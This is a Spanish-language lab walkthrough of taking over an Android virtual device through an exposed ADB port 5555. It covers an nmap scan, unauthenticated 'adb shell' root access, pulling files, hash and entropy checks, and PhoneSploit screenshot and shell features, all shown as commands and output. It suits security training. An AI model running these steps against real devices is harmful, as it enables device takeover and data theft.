Android Debugging Bridge - 5555

Hacking por ADB

Featured image

“Android Debug Bridge” (ADB) es una herramienta versátil que permite a los desarrolladores y usuarios comunicarse con un dispositivo Android desde una computadora, ya sea para instalar aplicaciones, ejecutar comandos shell, depurar aplicaciones, entre otras funciones.

Es importante tener en cuenta que, aunque ADB es una herramienta poderosa, también puede ser peligrosa si no se usa correctamente o si se deja expuesta al público (por ejemplo, dejando el puerto ADB abierto en un dispositivo). Esta exposición puede permitir a actores maliciosos tomar control del dispositivo, como se mencionó en la pregunta anterior. Por lo tanto, es esencial usar ADB con precaución y conocimiento.

Por ejemplo si en una red detectamos un dispositivo android podemos escanearlo para obtener sus puertos abiertos.

┌─[root@kali]─[/home/user/android]
└──╼ nmap -Pn -p- --open -n -T5 -vvv 192.168.94.101
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-23 22:20 EDT
Initiating ARP Ping Scan at 22:20
Scanning 192.168.94.101 [1 port]
Completed ARP Ping Scan at 22:20, 0.12s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 22:20
Scanning 192.168.94.101 [65535 ports]
Discovered open port 24810/tcp on 192.168.94.101
Discovered open port 24296/tcp on 192.168.94.101
Discovered open port 5555/tcp on 192.168.94.101
Discovered open port 6379/tcp on 192.168.94.101
Discovered open port 25000/tcp on 192.168.94.101
Discovered open port 24800/tcp on 192.168.94.101
Discovered open port 24297/tcp on 192.168.94.101
Discovered open port 22468/tcp on 192.168.94.101
Completed SYN Stealth Scan at 22:20, 3.86s elapsed (65535 total ports)
Nmap scan report for 192.168.94.101
Host is up, received arp-response (0.00068s latency).
Scanned at 2023-08-23 22:20:13 EDT for 3s
Not shown: 65527 closed tcp ports (reset)
PORT      STATE SERVICE      REASON
5555/tcp  open  freeciv      syn-ack ttl 64
6379/tcp  open  redis        syn-ack ttl 64
22468/tcp open  unknown      syn-ack ttl 64
24296/tcp open  unknown      syn-ack ttl 64
24297/tcp open  unknown      syn-ack ttl 64
24800/tcp open  unknown      syn-ack ttl 64
24810/tcp open  unknown      syn-ack ttl 64
25000/tcp open  icl-twobase1 syn-ack ttl 64
MAC Address: 08:00:27:21:F5:48 (Oracle VirtualBox virtual NIC)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 4.32 seconds
           Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
             

Una vez detectamos ciertos puertos podemos buscar versiones y obtener más información por medio de nmap, en especial del puerto 5555.

┌─[root@kali]─[/home/user/android]
└──╼ nmap -sVC -p5555,6379,25000 192.168.94.101                                   
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-23 22:20 EDT
Nmap scan report for 192.168.94.101
Host is up (0.00053s latency).

PORT      STATE SERVICE       VERSION
5555/tcp  open  freeciv?
| fingerprint-strings: 
|   adbConnect: 
|     CNXN
|_    device::ro.product.name=vbox86p;ro.product.model=Phone;ro.product.device=genymotion;features=stat_v2,cmd,shell_v2
6379/tcp  open  redis         Redis key-value store 3.2.4
25000/tcp open  icl-twobase1?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5555-TCP:V=7.94%I=7%D=8/23%Time=64E6BEAD%P=x86_64-pc-linux-gnu%r(ad
SF:bConnect,89,"CNXN\x01\0\0\x01\0\x10\0\0q\0\0\0\x12\+\0\0\xbc\xb1\xa7\xb
SF:1device::ro\.product\.name=vbox86p;ro\.product\.model=Phone;ro\.product
SF:\.device=genymotion;features=stat_v2,cmd,shell_v2");
MAC Address: 08:00:27:21:F5:48 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 189.93 seconds
               

ADB

Este puerto hace referencia a “Android Debug Bridge”, sin embargo para poder interactuar con este puerto es necesario contar con la herramienta adb.

┌─[root@kali]─[/home/user/android]
└──╼ apt install adb               

Una vez instalado, establecemos una conexión con el sistema android de la siguiente forma:

┌─[root@kali]─[/home/user/android]
└──╼ adb connect 192.168.94.101:5555
* daemon not running; starting now at tcp:5037
* daemon started successfully
connected to 192.168.94.101:5555               

Una vez conectado, podrás ejecutar otros comandos ADB en el dispositivo, como si estuviera conectado directamente a tu computadora a través de un cable USB. En este caso abrimos una interfaz de línea de comandos (shell) para poder interactuar con el sistema.

┌─[root@kali]─[/home/user/android]
└──╼ adb shell                      
genymotion:/ # ls
acct       charger default.prop init                 init.usb.rc      odm                     plat_property_contexts product   sdcard   system            var                       vendor_property_contexts 
bin        config  dev          init.environ.rc      init.vbox86.rc   oem                     plat_seapp_contexts    rom.trace sepolicy tmp               vendor                    vendor_seapp_contexts    
bugreports d       etc          init.rc              init.zygote32.rc plat_file_contexts      plat_service_contexts  root      storage  ueventd.rc        vendor_file_contexts      vendor_service_contexts  
cache      data    fstab.vbox86 init.usb.configfs.rc mnt              plat_hwservice_contexts proc                   sbin      sys      ueventd.vbox86.rc vendor_hwservice_contexts vndservice_contexts  

genymotion:/ # cd sdcard/                                                                                                                                                                                                                   
genymotion:/sdcard # ls
Alarms Android DCIM Download Movies Music Notifications Pictures Podcasts Ringtones 

genymotion:/sdcard # cd Download/                                                                                                                                                                                                           
genymotion:/sdcard/Download # ls
flag.txt
genymotion:/sdcard/Download # cat flag.txt                                                                                                                                                                                                  
Pwned!!!               

Copiar archivos a máquina local

El comando adb pull se utiliza para copiar archivos o directorios desde un dispositivo Android al sistema de la computadora desde la que se ejecuta el comando.

┌─[root@kali]─[/home/user/android]
└──╼ adb pull /sdcard/Scan/
/sdcard/Scan/: 3 files pulled, 0 skipped. 0.0 MB/s (192 bytes in 0.007s)

┌─[root@kali]─[/home/user/android]
└──╼ ls
Scan

┌─[root@kali]─[/home/user/android]
└──╼ cd Scan

┌─[root@kali]─[/home/user/android/Scan]
└──╼ ls
evil1.elf  evil2.elf  evil3.elf           

Análisis de entropías

La entropía es una medida cuantitativa de la incertidumbre o la aleatoriedad de una variable. En el campo de la criptografía, la entropía juega un papel crucial en la evaluación de la seguridad y la robustez de los algoritmos de hash.

Cuando se habla de hashes criptográficos, la entropía alta generalmente equivale a una mejor seguridad. Un hash con alta entropía será más resistente a los ataques, incluidos los ataques de fuerza bruta y los ataques de colisión, en los que dos entradas diferentes producen el mismo hash.

La longitud del hash también está directamente relacionada con la entropía. Por ejemplo, un hash SHA-256 tiene una entropía máxima de 256 bits, mientras que un hash SHA-384 tiene una entropía máxima de 384 bits. Cuanto mayor sea la entropía, más segura será la función de hash, suponiendo que se haya implementado correctamente. Por ejemplos para los archivos .elf copiados a nuestra máquina anteriormente podremos análizar la entropía de cada uno de la siguiente manera:

apt install ent

┌─[root@kali]─[/home/user/android/Scan]
└──╼ ent evil1.elf                                                                         
Entropy = 3.768344 bits per byte.

Optimum compression would reduce the size
of this 64 byte file by 52 percent.

Chi square distribution for 64 samples is 1288.00, and randomly
would exceed this value less than 0.01 percent of the times.

Arithmetic mean value of data bytes is 72.9531 (127.5 = random).
Monte Carlo value for Pi is 4.000000000 (error 27.32 percent).
Serial correlation coefficient is -0.264476 (totally uncorrelated = 0.0).


┌─[root@kali]─[/home/user/android/Scan]
└──╼ ent evil2.elf 
Entropy = 3.887352 bits per byte.

Optimum compression would reduce the size
of this 64 byte file by 51 percent.

Chi square distribution for 64 samples is 1096.00, and randomly
would exceed this value less than 0.01 percent of the times.

Arithmetic mean value of data bytes is 68.9844 (127.5 = random).
Monte Carlo value for Pi is 4.000000000 (error 27.32 percent).
Serial correlation coefficient is -0.094049 (totally uncorrelated = 0.0).


┌─[root@kali]─[/home/user/android/Scan]
└──╼ ent evil3.elf 
Entropy = 3.672630 bits per byte.

Optimum compression would reduce the size
of this 64 byte file by 54 percent.

Chi square distribution for 64 samples is 1376.00, and randomly
would exceed this value less than 0.01 percent of the times.

Arithmetic mean value of data bytes is 70.6562 (127.5 = random).
Monte Carlo value for Pi is 4.000000000 (error 27.32 percent).
Serial correlation coefficient is -0.302759 (totally uncorrelated = 0.0).
       

Es decir los archivos en este caso quedarían ordenados de la siguiente forma:

Análisis y conversión de hashes

Por medio de la herramienta hashid podemos hacernos la idea de a que tipo de hash nos estamos enfrentando de la siguiente forma:

┌─[root@kali]─[/home/user/android/Scan]
└──╼ hashid evil1.elf
--File 'evil1.elf'--
Analyzing 'a4a5cb4a87623c8b4cb078b1c1a09c6a49ddc6c3a67d8419bb95c0e724a87bfc'
[+] Snefru-256 
[+] SHA-256 
[+] RIPEMD-256 
[+] Haval-256 
[+] GOST R 34.11-94 
[+] GOST CryptoPro S-Box 
[+] SHA3-256 
[+] Skein-256 
[+] Skein-512(256) 
--End of file 'evil1.elf'-- 

┌─[root@kali]─[/home/user/android/Scan]
└──╼ hashid evil2.elf
--File 'evil2.elf'--
Analyzing '5d6da041549ec897f6f8a1e05f2062dcd72e677f8185cc987ab917d60047a53e'
[+] Snefru-256 
[+] SHA-256 
[+] RIPEMD-256 
[+] Haval-256 
[+] GOST R 34.11-94 
[+] GOST CryptoPro S-Box 
[+] SHA3-256 
[+] Skein-256 
[+] Skein-512(256) 
--End of file 'evil2.elf'-- 

┌─[root@kali]─[/home/user/android/Scan]
└──╼ hashid evil3.elf
--File 'evil3.elf'--
Analyzing 'f6c5229e92c2cbe549a0e7e30e7aa12291a3541d3f09c4a25e5f9e13e69a24ae'
[+] Snefru-256 
[+] SHA-256 
[+] RIPEMD-256 
[+] Haval-256 
[+] GOST R 34.11-94 
[+] GOST CryptoPro S-Box 
[+] SHA3-256 
[+] Skein-256 
[+] Skein-512(256) 
--End of file 'evil3.elf'--  
       

Como se puede apreciar es posible detectar que nos estamos enfrentando a hashes SHA-256. Si necesitamos generar hashes SHA-384 podemos ocupar alguna calculadora de hash por internet o la herramienta sha384sum como se muestra a continuación:

┌─[root@kali]─[/home/user/android/Scan]
└──╼ sha384sum evil2.elf 
fbb5b0bf4f96a5408f1647c44b0e603c0246259ad55e8e345351605783fae88b528a7b5c54f3c5b5073a2eb0bef4ef2b  evil2.elf          

También se puede hacer el proceso para sha256sum, md5sum, entre otros.

Desde una calculadora de hash (hashcalc) como se mencionó anteriormente, nos entrega el mismo resultado:

hashcalcevil

PhoneSploit

PhoneSploit es una herramienta de hacking ético diseñada para explotar dispositivos Android que han dejado expuesto el puerto ADB (Android Debug Bridge) sin autenticación.

Instalación

┌─[root@kali]─[/home/user/android]
└──╼ git clone https://github.com/aerosol-can/PhoneSploit

┌─[root@kali]─[/home/user/android]
└──╼ python3 -m pip install colorama

┌─[root@kali]─[/home/user/android/PhoneSploit]
└──╼ apt install android-tools-adb android-tools-fastboot

Uso

Una vez instalado lo ejecutamos de la siguiente forma e ingresamos la IP del dispositivo que atacaremos:

┌─[root@kali]─[/home/user/android/PhoneSploit]
└──╼ python3 PhoneSploit.py


          +hydNNNNdyh+
        +mMMMMMMMMMMMMm+
      `dMMm:NMMMMMMN:mMMd`
      hMMMMMMMMMMMMMMMMMMh
  ..  yyyyyyyyyyyyyyyyyyyy  ..                                     
.mMMm`MMMMMMMMMMMMMMMMMMMM`mMMm.             Thanks for downloading!
:MMMM-MMMMMMMMMMMMMMMMMMMM-MMMM:
:MMMM-MMMMMMMMMMMMMMMMMMMM-MMMM:
:MMMM-MMMMMMMMMMMMMMMMMMMM-MMMM:
:MMMM-MMMMMMMMMMMMMMMMMMMM-MMMM:
-MMMM-MMMMMMMMMMMMMMMMMMMM-MMMM-
 +yy+ MMMMMMMMMMMMMMMMMMMM +yy+
      mMMMMMMMMMMMMMMMMMMm
      `/++MMMMh++hMMMM++/`
          MMMMo  oMMMM
          MMMMo  oMMMM
          oNMm-  -mMNs


[1] Show Connected Devices      [6] Screen record a phone               [11] Uninstall an app                   
[2] Disconect all devices       [7] Screen Shot a picture on a phone    [12] Show real time log of device       
[3] Connect a new phone         [8] Restart Server                      [13] Dump System Info                   
[4] Access Shell on a phone     [9] Pull folders from phone to pc       [14] List all apps on a phone           
[5] Install an apk on a phone   [10] Turn The Device off                [15] Run an app                         


[99] Exit   [0] Clear   [p] Next Page                           

restarting in TCP mode port: 5555
device:genymotion transport_id:1


[+] Enter a phones ip address.(Type 99 to exit)
 -> phonesploit(connect_phone) > 192.168.94.101
already connected to 192.168.94.101:5555

Como se puede apreciar en el menú de PhoneSploit nos entregan una serie de utilidades que podremos utilizar, para esta ocasión probaremos las siguiente opciones:

  1. Opción 7 - Tomar una Captura de Pantalla en Tiempo Real: Esta función permite a los usuarios capturar en tiempo real lo que se muestra en la pantalla del dispositivo objetivo. Es una característica útil para entender las actividades actuales en el dispositivo y para fines de demostración en pruebas de penetración.

     phonesploit(main_menu) > 7
         |
         [+]Enter where you would like the screenshot to be saved.[Default: present working directory]
         ->phonesploit(screenshot) > 
     /sdcard/screen.png: 1 file pulled, 0 skipped. 0.4 MB/s (19460 bytes in 0.046s)
    

    Observamos la imagen guardada en nuestra máquina atacante:

    adbandroid

    adbandroid1

  2. Opción 4 - Obtener una Shell Interactiva: Esta opción es especialmente poderosa, ya que otorga a los usuarios una shell o terminal interactiva del dispositivo objetivo. A través de esta shell, los usuarios pueden ejecutar comandos, acceder a archivos y, en general, interactuar con el sistema del dispositivo como si estuvieran operando directamente en él.

     phonesploit(main_menu) > 4
     genymotion:/ # cd sdcard/Download/                                                                                                                                                                                                          
     genymotion:/sdcard/Download # cat flag.txt                                                                                                                                                                                                  
     Pwned!!!
    
    

Es importante tener precaución al usar ADB, especialmente sobre redes, ya que conectar a dispositivos desconocidos o dejar tu propio dispositivo abierto a conexiones puede presentar riesgos de seguridad. Por lo general, se recomienda utilizar conexiones ADB por red solo en redes seguras y confiables y deshabilitar la función cuando no esté en uso.